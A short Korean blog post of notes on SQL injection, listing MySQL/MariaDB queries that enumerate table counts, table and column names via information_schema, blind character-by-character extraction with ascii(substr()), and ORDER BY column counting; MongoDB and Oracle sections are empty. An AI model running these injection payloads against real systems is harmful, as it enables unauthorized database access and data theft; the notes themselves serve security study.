보안

데이터베이스 별 DB 및 테이블 조회(for SQL Injection)

Floodnut 2021. 7. 27. 14:03

► 계속 업데이트할 예정

 

MySQL & MariaDB

테이블 수 조회

select count(table_name) from information_schema.tables where table_schema=database()

database() : 현재 사용 중인 DB 명 반환, 없다면 NULL

 

테이블 명 조회 (blind injection)

(select ascii(substr(table_name,자릿 수,1)) from information_schema.tables where table_schema=database() limit n번째 테이블,1) > 아스키코드

 

컬럼에 대한 정보 얻기

select length(column_name) from information_schema.columns where table_name="테이블 조회로 알아낸 테이블 명"

select ascii(substr(table_name,자릿 수,1)) from information_schema.columns where table_name="테이블 조회로 알아낸 테이블 명" 

information_schema.columns와 column_name 등을 활용한다.

자세한 항목은 desc information_schema.columns; 로 확인하기

order by 정수 절을 활용하여 컬럼의 수를 확인할 수 있다.

ex) ~ order by 10 -> true면 컬럼 수가 10 이상

 

MongoDB

Not yet

 

Oracle DB

Not yet